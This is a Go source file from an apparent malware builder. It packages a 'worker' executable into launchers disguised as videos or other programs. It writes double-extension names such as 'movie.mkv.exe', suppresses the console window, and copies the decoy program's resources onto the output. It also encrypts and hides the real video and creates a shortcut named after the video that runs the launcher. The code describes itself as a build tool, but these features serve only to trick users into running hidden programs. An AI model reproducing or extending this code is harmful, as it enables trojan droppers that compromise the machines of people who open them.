package builder import ( "encoding/json" "fmt" "log" "os" "path/filepath" "strings" ) type fusionBuildResult struct { LauncherPath string MediaName string EncryptedPath string ShortcutPath string } func detectFusionPayloadKind(path string) string { switch strings.ToLower(filepath.Ext(path)) { case ".mp4", ".mkv", ".mov": return "video" default: return "exe" } } func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { kind := strings.TrimSpace(req.FusionPayloadKind) if kind == "" { kind = detectFusionPayloadKind(payloadPath) } req.FusionPayloadKind = kind if kind == "video" { return h.buildVideoFusion(buildDir, payloadPath, workerPath, req) } path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder) if err != nil { return nil, err } return &fusionBuildResult{LauncherPath: path}, nil } func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { mode := normalizeFusionMediaMode(req.FusionMediaMode) mediaName := strings.TrimSpace(req.FusionMediaBaseName) if mediaName == "" { mediaName = filepath.Base(mediaPath) } mediaName = sanitizeFileName(mediaName) outputName := strings.TrimSpace(req.FusionOutputName) if mode == "embedded" { if outputName == "" { outputName = disguiseVideoExeName(mediaName) } } else { if outputName == "" { outputName = runnerNameForMedia(mediaName) } } if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { outputName += ".exe" } outputName = sanitizeFileName(outputName) fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName) if err != nil { return nil, err } assetsDir := filepath.Join(fusionDir, "assets") if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { return nil, err } encFileName := mediaName + ".cmdata" var mediaKey []byte if mode == "paired" { var keyErr error mediaKey, keyErr = NewMediaLockKey() if keyErr != nil { return nil, keyErr } } manifestFields := map[string]string{ "payload_kind": "video", "media_mode": mode, "media_file_name": mediaName, } if mode == "paired" { manifestFields["media_enc_file"] = encFileName manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey) manifestFields["runner_display_name"] = outputName } if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil { return nil, err } var encryptedPath, shortcutPath string switch mode { case "embedded": if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { return nil, err } default: if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { return nil, err } } launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) ldflags := "-s -w -H windowsgui" if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil { return nil, err } if mode == "paired" { encryptedPath = filepath.Join(buildDir, encFileName) if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil { return nil, err } _ = setHiddenFile(encryptedPath) shortcutPath = filepath.Join(buildDir, mediaName+".lnk") if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil { return nil, err } } return &fusionBuildResult{ LauncherPath: launcherPath, MediaName: mediaName, EncryptedPath: encryptedPath, ShortcutPath: shortcutPath, }, nil } func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "") if err != nil { return "", err } assetsDir := filepath.Join(fusionDir, "assets") if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { return "", err } if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { return "", err } if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return "", err } if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil { return "", err } if outputName == "" { outputName = filepath.Base(prepPath) } if outputName == "" { outputName = "prep.exe" } if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { outputName += ".exe" } outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) ldflags := fusionLdflags(prepPath) if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil { return "", err } if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil { return "", err } return outputPath, nil } func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) { fusionSrc := filepath.Join(h.projectRoot, "fusion") if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { return "", fmt.Errorf("fusion source missing at %s", fusionSrc) } fusionDir := filepath.Join(buildDir, "fusion") assetsDir := filepath.Join(fusionDir, "assets") if err := os.MkdirAll(assetsDir, 0755); err != nil { return "", err } mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) if err != nil { return "", err } mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName) if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil { return "", err } for _, name := range []string{ "go.mod", "launch_windows.go", "launch_stub.go", "media_windows.go", "media_stub.go", "media_crypto.go", "lock_hint_windows.go", "lock_hint_stub.go", } { src := filepath.Join(fusionSrc, name) if _, err := os.Stat(src); err != nil { continue } if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil { return "", err } } return fusionDir, nil } func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte { order := normalizeFusionOrder(runOrder) out := string(src) repl := map[string]string{ `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order), `const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind), `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), } for old, new := range repl { out = strings.Replace(out, old, new, 1) } return []byte(out) } func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error { return writeFusionManifestEx(assetsDir, map[string]string{ "payload_kind": payloadKind, "media_mode": mediaMode, "media_file_name": mediaFileName, }) } func writeFusionManifestEx(assetsDir string, fields map[string]string) error { raw, err := json.Marshal(fields) if err != nil { return err } return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644) } func normalizeFusionMediaMode(mode string) string { switch strings.ToLower(strings.TrimSpace(mode)) { case "embedded": return "embedded" default: return "paired" } } func disguiseVideoExeName(mediaName string) string { base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName)) if base == "" { base = "movie" } ext := filepath.Ext(mediaName) if ext == "" { ext = ".mkv" } return sanitizeFileName(base + ext + ".exe") } func runnerNameForMedia(mediaName string) string { base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) if base == "" { base = "movie" } return sanitizeFileName(base + "-runner.exe") } func fusionExportSubdir(req *BuildRequest, mediaName string) string { if s := strings.TrimSpace(req.FusionExportSubdir); s != "" { return sanitizeDirName(s) } base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName)) if base == "" { base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName)) } if base == "" { base = sanitizeFileName(req.WorkerName) } return sanitizeDirName(base) } func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) { subdir = sanitizeDirName(subdir) if subdir == "" || h.projectRoot == "" || h.projectRoot == "." { return "", nil } destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) if err := os.MkdirAll(destDir, 0755); err != nil { return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err) } for name, src := range artifacts { if src == "" { continue } dest := filepath.Join(destDir, sanitizeFileName(name)) if err := copyFile(src, dest); err != nil { return "", fmt.Errorf("failed to export %s: %w", name, err) } } readmePath := filepath.Join(destDir, "README.txt") if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil { return "", fmt.Errorf("failed to write README.txt: %w", err) } log.Printf("[Builder] Fusion deliverables -> %s", destDir) return destDir, nil } func sanitizeDirName(name string) string { name = strings.TrimSpace(name) if name == "" { return "" } name = filepath.Base(name) var b strings.Builder for _, r := range name { switch { case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.': if r == ' ' { b.WriteRune('_') } else { b.WriteRune(r) } } } out := strings.Trim(b.String(), "._") if out == "" { return "title" } return out }